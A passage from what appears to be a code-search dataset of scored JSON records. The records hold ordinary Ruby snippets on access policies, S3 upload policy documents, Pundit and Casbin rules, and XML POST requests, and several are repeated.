"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.5113316",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "835cc564c4937e32be52a3f1b5e5dd48",
"score": "0.51132065",
"text": "def update!(**args)\n @policy = args[:policy] if args.key?(:policy)\n end",
"title": ""
},
{
"docid": "187ab3b8d602ac48e18df033918bc428",
"score": "0.50952905",
"text": "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => @pool.bucket_id},\n [\"starts-with\", \"$key\", @file_entity.storage_location_id],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end",
"title": ""
},
{
"docid": "f268562cce4ddd43dfc3f267838b136c",
"score": "0.50899154",
"text": "def put_policy(statement: [])\n request = put_policy_request statement: statement\n request.send\n end",
"title": ""
},
{
"docid": "33a7de3b3739dab396b05c7197ee57a4",
"score": "0.5082349",
"text": "def dup\n self.class.new(\n policy_class,\n name,\n except: blacklist&.dup,\n only: whitelist&.dup\n )\n end",
"title": ""
},
{
"docid": "5ac9f0916b8e704ff261bc5265cd08ec",
"score": "0.5080047",
"text": "def whitelist_file(file)\n file = Regexp.new(file) unless file.kind_of?(Regexp)\n @whitelist_files << file\n end",
"title": ""
},
{
"docid": "153efb7738327cfe603dde4b26b5bad2",
"score": "0.50789267",
"text": "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.xmlschema,\n \"conditions\" => [ \n {\"bucket\" => 'rplus.imports'}, \n [\"starts-with\", \"$key\", @document.s3_key],\n {\"acl\" => \"private\"},\n {\"success_action_redirect\" => \"/direct\"},\n [\"content-length-range\", 0, 1048576]\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n/,'')\n end",
"title": ""
},
{
"docid": "644cd53aeb5a876c420cc6f48769030e",
"score": "0.5063989",
"text": "def remove_filtered_policy(_sec, _ptype, _field_index, *_field_values); end",
"title": ""
},
{
"docid": "4fe52f4c38d2771f078847fcf53de072",
"score": "0.5061824",
"text": "def filter( path, settings={} )\n\t\t\tself.target.save( :validate => false )\n\n\t\t\tself.log.debug \"Filter [%s]: %p\" % [ path, settings ]\n\t\t\tself.target.add_filter( name: path, settings: settings )\n\t\tend",
"title": ""
},
{
"docid": "4fe52f4c38d2771f078847fcf53de072",
"score": "0.5061824",
"text": "def filter( path, settings={} )\n\t\t\tself.target.save( :validate => false )\n\n\t\t\tself.log.debug \"Filter [%s]: %p\" % [ path, settings ]\n\t\t\tself.target.add_filter( name: path, settings: settings )\n\t\tend",
"title": ""
},
{
"docid": "8509ae655e75ca390625392e327a7b11",
"score": "0.50570333",
"text": "def policy(record)\n policies[record] ||= Pundit.policy!(pundit_user, record)\n end",
"title": ""
},
{
"docid": "644f68d73f006d7c5f99a5af99338b68",
"score": "0.50446606",
"text": "def upload_policy(opts)\n opts = check_params(opts,[:policy_name,:file_context])\n super(opts)\n end",
"title": ""
},
{
"docid": "8f39be38f40a72cfde10255418011350",
"score": "0.5035314",
"text": "def policy_params\n params.require(:policy).permit(:name, :file, :body)\n end",
"title": ""
},
{
"docid": "131570ea511a8eddedc9e804bd2b78f7",
"score": "0.50195575",
"text": "def make_policy(policy)\n\t\t\t# Only files in the root would be tracked:\n\t\t\tpolicy.root(@root)\n\t\t\t\n\t\t\tpatterns = ignore_paths.map do |path|\n\t\t\t\tFile.join(@root, path)\n\t\t\tend\n\t\t\t\n\t\t\t# We will ignore any files in the test or spec directory:\n\t\t\tpolicy.skip(Regexp.union(patterns))\n\t\t\t\n\t\t\t# We will include all files under lib, even if they aren't loaded:\n\t\t\tpolicy.include(\"lib/**/*.rb\")\n\t\t\t\n\t\t\tpolicy.persist!\n\t\t\t\n\t\t\tpolicy.reports!(@coverage)\n\t\tend",
"title": ""
},
{
"docid": "5625ae0757b78ea3c671e2b067b00d24",
"score": "0.50136715",
"text": "def send_policy_file\n send_data <<-\"EOH\" + \"\\0\"\n <cross-domain-policy>\n <allow-access-from domain=\"*\" to-ports=\"*\" />\n </cross-domain-policy>\n EOH\n write_and_close\n end",
"title": ""
},
{
"docid": "e515d01dcde3def54c632fd9387c8e2c",
"score": "0.49980772",
"text": "def analyze_policy; end",
"title": ""
},
{
"docid": "f701c10bfbb2a701a3f80a7c0cf0c693",
"score": "0.49822783",
"text": "def update!(**args)\n @policy = args[:policy] unless args[:policy].nil?\n end",
"title": ""
},
{
"docid": "f701c10bfbb2a701a3f80a7c0cf0c693",
"score": "0.49822783",
"text": "def update!(**args)\n @policy = args[:policy] unless args[:policy].nil?\n end",
"title": ""
},
{
"docid": "fefe018b57c8a5de0943d8f9ab6c84ef",
"score": "0.4980541",
"text": "def add_policies(rules)\n # stub method\n puts \"call add_named_policies rules = #{rules}\"\n end",
"title": ""
},
{
"docid": "39ade107a7033addac9d833e69008f30",
"score": "0.4978224",
"text": "def policy(name, options = {}, &block)\n p = Policy.new(name, options, &block)\n POLICIES << p\n p\n end",
"title": ""
},
{
"docid": "4623aa85b11fbd675c82fc3b74a1072b",
"score": "0.4960766",
"text": "def policy_document\n @policy_document ||=\n Base64.encode64(\n MultiJson.dump(\n {\n :expiration => 10.hours.from_now.utc.iso8601(3),\n :conditions => [\n { :bucket => Config.bucket_private },\n { :acl => options[:acl] },\n { :success_action_status => '201' },\n [\"content-length-range\", 0, options[:max_file_size]],\n # [\"starts-with\", \"$authenticity_token\", \"\"],\n [\"starts-with\", \"$key\", \"\"],\n # [\"starts-with\", \"$utf8\", \"\"],\n# [\"starts-with\", \"$Content-Type\", ]\n ]\n }\n )\n ).gsub(/\\n/, '')\n end",
"title": ""
},
{
"docid": "41b5320de097335f34ce37657ca06129",
"score": "0.49341422",
"text": "def policy=(value)\n @policy = value\n end",
"title": ""
},
{
"docid": "53e6864d8fba20f8afcd68ba51338a37",
"score": "0.49341407",
"text": "def policy_clauses\n policy_ids = policies_with_access\n return nil if policy_ids.empty?\n '(' + policy_ids.map {|id| ActiveFedora::SolrQueryBuilder.construct_query_for_rel(isGovernedBy: id)}.join(' OR '.freeze) + ')'\n end",
"title": ""
},
{
"docid": "f10bf1dd2f1243f738659d4f5f4d1d4d",
"score": "0.4932134",
"text": "def add_sc_restriction_to_scref_file\n # IF you need to make sure all restrictions are correct, use this method.\n # Files needed:soulcarddb.json + ITEM_OPTION_DATA.json.\n # idx from soulcarddb drops first num and adds a 0 to the end to match idx for same sc in ITEM_OPTION_DATA. so 12345 > 23450.\n\n puts \"what region?\"\n answer = gets.chomp\n region = answer\n\n attribute_type = %w(none water fire forest light dark)\n role_type = %w(none attacker defencer balancer supporter exp upgrade over_limit max_ext)\n restriction_file = JSON.parse(File.read(\"./json_db/#{region}_dump/ITEM_OPTION_DATA.json\"))\n sc_reflist = JSON.parse(File.read(\"../sc/#{region}/soulcardRefList#{region.capitalize}.json\"))\n\n # db = fetch_json_data('soulcarddb')\n x = sc_reflist.map do |k|\n idx = (k['idx'][1..-1] + \"0\")\n if restriction_file.keys.any? {|nn| nn == idx}\n attribute_idx = restriction_file[idx]['attribute'].to_i\n role_idx = restriction_file[idx]['role'].to_i\n\n attribute = attribute_type[attribute_idx]\n role = role_type[role_idx]\n\n attribute = '' if attribute == 'none'\n role = '' if role == 'none'\n info = [attribute.capitalize, role.capitalize].join(\" \").rstrip\n info = \"None\" if info.empty?\n\n p info\n\n k['restriction'] = info\n\n end\n k\n end\n\n File.open(\"../sc/#{region}/soulcardRefList#{region.capitalize}.json\", 'w') { |file| file.write(x.to_json) }\n\n end",
"title": ""
},
{
"docid": "c140e3d01a9e852a7cae98a48f362c55",
"score": "0.49239516",
"text": "def add(new_policy, index = nil)\n get_data.persist_object(new_policy)\n pt = policy_table\n # check to see if a default policy exists, if so add the\n # new policy to the policy table in the next to the last\n # position (else append to the end as we've always done)\n default_policy_uuid = get_default_policy\n index = (pt.size-1) if index.nil? && default_policy_uuid && default_policy_uuid != new_policy.uuid\n begin\n pt.add_p_item(new_policy.uuid, index)\n rescue ProjectHanlon::Error::Slice::InputError => e\n # remove the object from the database if we failed to add it\n # (unless, of course, our attempt to \"add\" it was really an\n # attempt to move it to another position in the table)\n get_data.delete_object(new_policy) unless pt.exists_in_array?(new_policy.uuid)\n raise e\n end\n end",
"title": ""
},
{
"docid": "4e60f2dd5027dc2345155e478ff0fd90",
"score": "0.49139157",
"text": "def set_policy\n xtfsutil ['--set-replication-policy', @property_flush[:policy], resource[:file]]\n end",
"title": ""
},
{
"docid": "ec058e15f19dbacba6b62dbf7bb1e32d",
"score": "0.49113593",
"text": "def update!(**args)\n @policy_blob = args[:policy_blob] if args.key?(:policy_blob)\n end",
"title": ""
},
{
"docid": "ec058e15f19dbacba6b62dbf7bb1e32d",
"score": "0.49113593",
"text": "def update!(**args)\n @policy_blob = args[:policy_blob] if args.key?(:policy_blob)\n end",
"title": ""
},
{
"docid": "c0088ad32e2146f2b1a28d31ece21c39",
"score": "0.49016026",
"text": "def make_policy(policy)\n\t\t\tpolicy.cache!\n\t\t\t\n\t\t\t# Only files in the root would be tracked:\n\t\t\tpolicy.root(@root)\n\t\t\t\n\t\t\t# We will ignore any files in the test or spec directory:\n\t\t\tpolicy.skip(/^.*\\/(test|spec|vendor|config)\\//)\n\t\t\t\n\t\t\t# We will include all files under lib, even if they aren't loaded:\n\t\t\tpolicy.include(\"lib/**/*.rb\")\n\t\t\t\n\t\t\tpolicy.persist!\n\t\t\t\n\t\t\tpolicy.source\n\t\t\t\n\t\t\tpolicy.reports!(@coverage)\n\t\tend",
"title": ""
},
{
"docid": "1b8209ec663e92f6e074d7cad73ad6f0",
"score": "0.4894957",
"text": "def add_relevant_set(file , &filter)\n #puts file\n @rl = RelevantDocumentSet.new( 'rel' )\n dsvread(file).find_all{|e| (block_given?)? filter.call(e) : true }.each do |l|\n @rl.add_doc RelevantDocument.new( l[2] , :qid => l[0].to_i , :relevance => l[3].to_i ) #if l[3].to_i > 0\n #puts @rl.docs.last.qid\n end\n @rs.each{|k,v| v.rl = @rl}\n @qs.each{|k,v| v.set_relevant_set(@rl)}\n info(\"relevant set added.\")\n end",
"title": ""
},
{
"docid": "5141250f8d4ef4209a5f77e7265e45d0",
"score": "0.48796287",
"text": "def set_policy\n end",
"title": ""
},
{
"docid": "9ff86b01586a9dcbef34099b2b027710",
"score": "0.48781288",
"text": "def filename_policy=(entry)\n $FILENAME_POLICY ||= (\n Array(entry).map{ |s| s.to_s }\n )\n end",
"title": ""
},
{
"docid": "7a990c8a1bc40a57005c9c57afbb0050",
"score": "0.48679933",
"text": "def add_rule(items, file)\n rule_from = items[RULE_FROM].to_i\n rule_str = items[RULE_TO]\n rule_to = rule_str.to_i\n if ( \n (rule_from <= THIS_YEAR) and\n ( \n (rule_to >= THIS_YEAR) or\n (rule_str == 'max')\n ) \n ) or\n (\n (rule_from == THIS_YEAR) and \n (rule_str == 'only')\n ) \n line = items[1..-1].join(' ')\n file.puts line\n end\nend",
"title": ""
},
{
"docid": "2a8d8f784430e4ff103f6367fbb2c3b8",
"score": "0.48664188",
"text": "def protect_audit(pp, mode, db, recs)\n msg = \"[#{pp.name}] Policy Profile #{mode} (db:[#{db}]\"\n msg += \", ids:[#{recs.sort_by(&:to_i).join(',')}])\"\n event = \"policyset_\" + mode\n {:event => event, :target_id => pp.id, :target_class => pp.class.base_class.name, :userid => session[:userid], :message => msg}\n end",
"title": ""
},
{
"docid": "0115cf9d7ff25d40b9a799b91cd2b881",
"score": "0.4859453",
"text": "def policy=(value)\n @policy = value\n end",
"title": ""
},
{
"docid": "a7142cfbce1f9dd7bb0e80725410d3cf",
"score": "0.4838552",
"text": "def s3_upload_policy_document\n return @policy if @policy\n ret = {\"expiration\" => 5.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\n \"conditions\" => [ \n {\"bucket\" => ENV['S3_BUCKET_NAME']}, \n [\"starts-with\", \"$key\", 'uploads/temp'],\n {\"acl\" => \"private\"},\n {\"success_action_status\" => \"201\"}\n ]\n }\n @policy = Base64.encode64(ret.to_json).gsub(/\\n|\\r/,'')\n end",
"title": ""
},
{
"docid": "f5f9e2ac1bfec60b2a732203cbcfc5b8",
"score": "0.48328397",
"text": "def policy(person)\n ret = {\"expiration\" => 30.minutes.from_now.utc.xmlschema,\n \"conditions\" => [\n {\"bucket\" => self.bucket_name},\n [\"starts-with\", \"$key\", \"company\"],\n {\"acl\" => \"public-read\"},\n {\"success_action_status\" => \"200\"},\n [\"content-length-range\", 0, 209715300] # 200MB\n ]\n }\n Base64.encode64(ret.to_json).gsub(/\\n|\\r/, '')\n end",
"title": ""
},
{
"docid": "30b8931993dab548ad0331eb55d1caa7",
"score": "0.4819673",
"text": "def policy_list\n super\n end",
"title": ""
},
{
"docid": "f2e40218a84b7956a0ed77551ffbb98c",
"score": "0.48181352",
"text": "def add_policy(bucket)\r\n # Get account ID using STS\r\n sts_client = Aws::STS::Client.new(region: 'REGION')\r\n resp = sts_client.get_caller_identity({})\r\n account_id = resp.account\r\n\r\n # Attach policy to an Amazon Simple Storage Service (S3) bucket.\r\n # Replace us-west-2 with the AWS Region you're using for AWS CloudTrail.\r\n s3_client = Aws::S3::Client.new(region: 'us-west-2')\r\n\r\n begin\r\n policy = {\r\n 'Version' => '2012-10-17',\r\n 'Statement' => [\r\n {\r\n 'Sid' => 'AWSCloudTrailAclCheck20150319',\r\n 'Effect' => 'Allow',\r\n 'Principal' => {\r\n 'Service' => 'cloudtrail.amazonaws.com',\r\n },\r\n 'Action' => 's3:GetBucketAcl',\r\n 'Resource' => 'arn:aws:s3:::' + bucket,\r\n },\r\n {\r\n 'Sid' => 'AWSCloudTrailWrite20150319',\r\n 'Effect' => 'Allow',\r\n 'Principal' => {\r\n 'Service' => 'cloudtrail.amazonaws.com',\r\n },\r\n 'Action' => 's3:PutObject',\r\n 'Resource' => 'arn:aws:s3:::' + bucket + '/AWSLogs/' + account_id + '/*',\r\n 'Condition' => {\r\n 'StringEquals' => {\r\n 's3:x-amz-acl' => 'bucket-owner-full-control',\r\n },\r\n },\r\n },\r\n ]\r\n }.to_json\r\n\r\n s3_client.put_bucket_policy(\r\n bucket: bucket,\r\n policy: policy\r\n )\r\n\r\n puts 'Successfully added policy to bucket ' + bucket\r\n rescue StandardError => err\r\n puts 'Got error trying to add policy to bucket ' + bucket + ':'\r\n puts err\r\n exit 1\r\n end\r\nend",
"title": ""
},
{
"docid": "b15bd66f52f106d7a8492d08495b7d3e",
"score": "0.48115617",
"text": "def create_new_collection_policy_from_existing repo, collection\n dob = Rubydora::DigitalObject.new(collection, repo)\n ds = Rubydora::Datastream.new(dob, 'COLLECTION_POLICY')\n return ds.content.gsub(/namespace=\"([^\"])+\"/, 'namespace=\"palmm\"')\nrescue => e\n STDERR.puts \"Can't get COLLECTION_POLICY for collection #{collection}\"\n return\nend",
"title": ""
},
{
"docid": "7f3e7e4ba03d06b4c0a07506f3f309cc",
"score": "0.48046678",
"text": "def policy_params\n params.require(:policy).permit( :name, :content, :id)\n end",
"title": ""
},
{
"docid": "5cae0ac2286de5943a7460dec21c3d90",
"score": "0.47968826",
"text": "def policy_builder\n @policy_builder ||= Chef::PolicyBuilder::Dynamic.new(node_name, ohai.data, json_attribs, override_runlist, events)\n end",
"title": ""
},
{
"docid": "e39feb1c81c267e8b46830cd333f4470",
"score": "0.47960964",
"text": "def add_restriction(controller, action, privilege_sym, http_verb, status_sym='')\n privilege = Privilege.find(:first, :conditions => [\"privilege_name = ?\",privilege_sym.to_s.upcase])\n status = Status.find(:first, :conditions => [\"status_desc = ?\",status_sym.to_s.camelize])\n \n #It was deemed preferable to use text instead of a wildcard char in case of parsing problems\n action = \"ALL\" if action == '*'\n \n if status.blank?\n puts \"-- Restriction for /#{controller}/#{action}, for a privilege #{privilege.privilege_name}\"\n puts \"insert into controller_restrictions(controller_name, controller_action, http_verb, privilege_id) values\"\n else\n puts \"-- Restriction for /#{controller}/#{action}, for a status of #{status.status_desc} and privilege #{privilege.privilege_name}\"\n puts \"insert into controller_restrictions(controller_name, controller_action, http_verb, status_id, privilege_id) values\"\n end\n puts \"('#{controller}', '#{action}', '#{http_verb.to_s.downcase}',\"\n puts \"(select status_id from publishing_statuses where status_desc = '#{status.status_desc}'),\" unless status.blank?\n puts \"\t\t(select privilege_id from privileges where privilege_name = '#{privilege.privilege_name}')\"\n puts \");\\n\\n\"\n\nend",
"title": ""
},
{
"docid": "e2c6cd050a214ef6519890a86b8a1ee7",
"score": "0.47904062",
"text": "def policy=(value)\n @property_flush[:policy] = value\n end",
"title": ""
},
{
"docid": "6b3bbec417f8d617e42f9339e6e3056c",
"score": "0.47894976",
"text": "def add_permissions_for(table_name=nil) # :nodoc:\r\n perm = table_name.nil? ? DcPermission.find_by(is_default: true) : DcPermission.find_by(table_name: table_name, active: true)\r\n (perm.dc_policy_rules.each {|p1| @permissions[p1.dc_policy_role_id] = p1.permission }) if perm\r\nend",
"title": ""
},
{
"docid": "ea6529e1dd410b5abe3aadb86763658f",
"score": "0.47886243",
"text": "def s3_bucket_whitelist_policy(whitelist)\n whitelist = {\n \"Version\" => \"2012-10-17\", # Amazon policy version\n \"Id\" => \"s3IPWhitelist\", # Policy Name in IAM\n \"Statement\" => [{\n \"Sid\" =>\"IPAllow\",\n \"Effect\" => \"Allow\",\n \"Principal\" => \"*\",\n \"Action\" => [\n \"s3:Get*\",\n \"s3:List*\"\n ],\n \"Resource\" => \"arn:aws:s3:::vagrant-centos/*\",\n \"Condition\" => { \n \"IpAddress\" => { \n \"aws:SourceIp\" => $full_whitelist\n }\n }\n }\n ]\n }.to_json.to_s # aws-sdk requires JSON formatted string\n return whitelist\nend",
"title": ""
},
{
"docid": "c61f2dd5f4e5945af8f7eef9df13e686",
"score": "0.47874022",
"text": "def allow_filtering\n add_clause('ALLOW FILTERING', :allow_filtering)\n end",
"title": ""
},
{
"docid": "ac770aa31a4d6ed8d0f24b5d09f5d664",
"score": "0.47858134",
"text": "def putPolicy\n\n end",
"title": ""
},
{
"docid": "bc268dc806351927507519a55fb4f2a6",
"score": "0.47835782",
"text": "def fwrite(file_name , var , o = {} , &filter)\n fullpath = to_path(file_name , o[:path])\n mode = o[:mode] || 'w'\n if o[:protect] && File.exist?(fullpath)\n return nil\n end\n var = var.split(\"\\n\").find_all{|e| if filter.call(e) then true else err(\"[fwrite] following was filtered : #{e}\") ; false end }.join(\"\\n\") if block_given?\n File.open( fullpath , mode){|file| file.puts var}\n var\n end",
"title": ""
},
{
"docid": "4b0676b463beeba5c244e39c17b8ed4a",
"score": "0.47817984",
"text": "def add_policy(sec, ptype, rule)\n return false if has_policy(sec, ptype, rule)\n\n model[sec][ptype].policy << rule\n\n true\n end",
"title": ""
},
{
"docid": "2afa62d40b44a4dd35d3d7a8529574f1",
"score": "0.477134",
"text": "def put(request)\n policyfile_data = parse_json(request.body)\n policy_name = request.rest_path[5]\n revision_id = policyfile_data[\"revision_id\"]\n\n # If the policy revision being submitted does not exist, create it.\n # Storage: /organizations/ORG/policies/POLICY/revisions/REVISION\n policyfile_path = request.rest_path[0..1] + [\"policies\", policy_name, \"revisions\", revision_id]\n unless exists_data?(request, policyfile_path)\n create_data(request, policyfile_path[0..-2], revision_id, request.body, :create_dir)\n end\n\n # if named policy exists and the given revision ID exists, associate the revision ID with the policy\n # group.\n # Storage: /organizations/ORG/policies/POLICY/revisions/REVISION\n response_code = exists_data?(request) ? 200 : 201\n set_data(request, nil, to_json(revision_id), :create, :create_dir)\n\n already_json_response(response_code, request.body)\n end",
"title": ""
},
{
"docid": "295a2243c8982c93948dc875c3a1c0e3",
"score": "0.47636223",
"text": "def filter_add(element)\n bloom.add(element)\n pool.filter_add(element)\n end",
"title": ""
},
{
"docid": "f029b38a287bcde0397fcf6bcdc61af2",
"score": "0.47617817",
"text": "def policy(record)\n obj = ::PolicyFinder.authorizing_object(record)\n super(obj)\n end",
"title": ""
},
{
"docid": "c95ecdcac926390d80e51122242eda16",
"score": "0.47603726",
"text": "def policy_document #redactor_upload, expires_after\n @expiration = 10.hours.from_now.utc.iso8601(3)\n @policy_document ||=\n Base64.encode64(\n MultiJson.dump(\n {\n :expiration => @expiration,\n :conditions => [\n { :bucket => Config.bucket_public },\n# { :success_action_redirect => \"#{Fedena.hostname}/redactor/post_upload\"},\n [\"starts-with\", \"$key\", \"\"],\n [\"starts-with\", \"$success_action_status\", \"\"],\n# [\"starts-with\", \"$success_action_redirect\", \"\"],\n { :acl => \"public-read\"},\n [\"content-length-range\", 0, options[:max_file_size]]\n ]\n }\n )\n ).gsub(/\\n/, '')\n end",
"title": ""
},
{
"docid": "44aaa7a7bd8ac5b5a1f749a14059be0d",
"score": "0.4740977",
"text": "def unify(config, policy, name)\n # if we haven't seen the policy before, add it to the inlines\n if !@policies.has_key?(policy)\n @policies[policy] = SingleInstance.new(config, name)\n config.inlines << policy\n else\n case @policies[policy]\n # if we've only seen the policy once before, write it to file and fix the\n # previous configuration that had the policy\n when SingleInstance\n single = @policies[policy]\n\n # write to file, checking for naming conflicts\n file = \"#{@dir}/#{single.name}\"\n contents = JSON.pretty_generate(policy)\n if File.exists?(file)\n original_contents = File.read(file)\n if original_contents != contents\n file = \"#{file}-#{single.config.name}\"\n end\n end\n File.open(file, 'w') { |f| f.write(contents) }\n file = file[(file.rindex(\"/\") + 1)..-1]\n\n # update the config objects\n single.config.inlines.delete(policy)\n single.config.statics << file\n config.statics << file\n @policies[policy] = MultipleInstances.new(file)\n\n # if the policy has already been written to file, we just use the static\n # in the configuration\n when MultipleInstances\n multiple = @policies[policy]\n config.statics << multiple.name\n end\n end\n end",
"title": ""
},
{
"docid": "3db334d920d932e7ba05e53cfaab3153",
"score": "0.4738236",
"text": "def remove_filtered_policy(sec, ptype, field_index, *field_values)\n return false unless model.remove_filtered_policy(sec, ptype, field_index, *field_values)\n\n make_persistent :remove_filtered_policy, sec, ptype, field_index, *field_values\n end",
"title": ""
},
{
"docid": "914b310078734880da6c56311112c60d",
"score": "0.47371772",
"text": "def generate_and_copy_policies\n # Begin setting up pundit\n generate('pundit:install')\n # these are generated, so they'll also create tests policies\n generate('pundit:policy user')\n generate('pundit:policy login_activity')\n\n # Remove policies and replace with a base policy build\n remove_dir('app/policies')\n directory('app/policies', 'app/policies')\n end",
"title": ""
},
{
"docid": "d24ab1567b1d1fcceddf42e2ebd61af6",
"score": "0.4735991",
"text": "def defer_to_existing_policy(policy_class, policy_name)\n policy_class.new(@user, @case).__send__(policy_name)\n end",
"title": ""
},
{
"docid": "c7fdba1eb7ecfe763eb1e0eccac478c5",
"score": "0.47313735",
"text": "def write_file_with_filters(hash)\n file = File.open('filters.json','w+')\n file.puts(hash.to_json)\n file.close\n end",
"title": ""
}
] |
c83ea70c654eb51a9ab6df5bd0521342
|
POST /alercos POST /alercos.xml
|
[
{
"docid": "9addeaf686cfe5130cfa2315d901680d",
"score": "0.5877304",
"text": "def create\n @alerco = Alerco.new(params[:alerco])\n\n respond_to do |format|\n if @alerco.save\n format.html { redirect_to(@alerco, :notice => 'Alerco was successfully created.') }\n format.xml { render :xml => @alerco, :status => :created, :location => @alerco }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @alerco.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "f66bf040835c9dd594b69359194af6d9",
"score": "0.61307806",
"text": "def request\n #server = Net::HTTP.new(\"eCommerce.airborne.com\", 443)\n server = Net::HTTP.new(\"eCommerce.airborne.com\", 80)\n #path = \"/ApiLandingTest.asp\"\n path = \"/ApiLanding.asp\"\n data = @xml.to_s\n File.open('/home/david/Desktop/dhl_intl.xml', 'w') do |f|\n f.puts data\n end\n headers = { \"Content-Type\" => \"text/xml\"}\n #server.use_ssl = true\n resp = server.post(path, data, headers)\n price = parse_response(resp.body)\n end",
"title": ""
},
{
"docid": "12f8b4c832804e780db1a4c8e974a3e0",
"score": "0.60288745",
"text": "def post_xml(e, doc, p = {})\n begin\n url = \"https://#{@username}:#{@password}@#{@host}#{@docroot}#{e}\"\n msg \"post to #{url}\", Logger::DEBUG\n params = { :content_type => \"application/xml\" }.merge! p\n params[:cookies] = $cookie if !$cookie.empty?\n resp = RestClient.post(url, doc.to_s, params )\n msg resp, Logger::DEBUG\n $cookie = resp.cookies unless resp.cookies.empty?\n msg \"got cookie #{$cookie}\", Logger::DEBUG unless resp.cookies.empty?\n # XML Document\n if (/<.+>/).match(resp)\n xmldoc = Nokogiri::XML(resp)\n else\n err_node = Nokogiri::XML::Node.new('err_node', xmldoc)\n err_node.content = resp\n xmldoc.root << err_node\n end\n rescue SocketError\n raise \"Host \" + @host + \" nicht erreichbar\"\n rescue Exception => e\n msg \"error parsing XML \" + e.to_s, Logger::DEBUG\n end\n if (xmldoc.nil? || !xmldoc.xpath(\"//err_node\").empty?)\n @posted_uuid = nil\n end\n if !xmldoc.nil?\n @posted_uuid = xmldoc.xpath(\"//uuid\")[0].text if !xmldoc.xpath(\"//uuid\").empty?\n end\n return xmldoc\n end",
"title": ""
},
{
"docid": "85be642693f191733b8176413a400ca8",
"score": "0.5972301",
"text": "def post(request_xml)\n begin\n result ||= RestClient.post url, request_xml, :content_type => 'text/xml'\n rescue RestClient::Exception => error\n #Puppet.debug \"Failed REST #{m} to URL #{url}:\\nXML Format:\\n#{request_xml}\"\n raise Puppet::Error, \"\\n#{error.exception}:\\n#{error.response}\"\n end\n #Puppet.debug \"Cisco UCS Post: #{url} \\n Request:\\n#{request_xml} Response:\\n#{result.inspect}\"\n\n end",
"title": ""
},
{
"docid": "ff64f712ca5c171b73151901dc47c4f6",
"score": "0.5908351",
"text": "def postRequest\n assertRequestData\n assertRequestType\n req = Net::HTTP::Post.new(@uri.request_uri)\n req.add_field('Content-Type', 'text/xml')\n req.body = buildXmlRequest\n @response = sendRequest(req)\n return @response\n end",
"title": ""
},
{
"docid": "168944731ed41892697b038fdf43e175",
"score": "0.5884376",
"text": "def post\n request = Net::HTTP::Post.new(endpoint_uri.request_uri)\n request.basic_auth Unfuzzle.username, Unfuzzle.password\n request.content_type = 'application/xml'\n\n Response.new(client.request(request, @payload))\n end",
"title": ""
},
{
"docid": "040b1dcc9c0431f2a79f0e6876ea2be5",
"score": "0.5802227",
"text": "def post( path, body = nil )\n body ? length = body.length.to_s : length = '0' \n parse( @access_token.post( DOSSIA_URL + '/dossia-restful-api/services/v3.0' + path, body, { 'Content-Type' => 'application/xml', 'Content-Length' => length } ) )\n end",
"title": ""
},
{
"docid": "f271d8fc5685d9cc33a4df7be9c3db3d",
"score": "0.57991517",
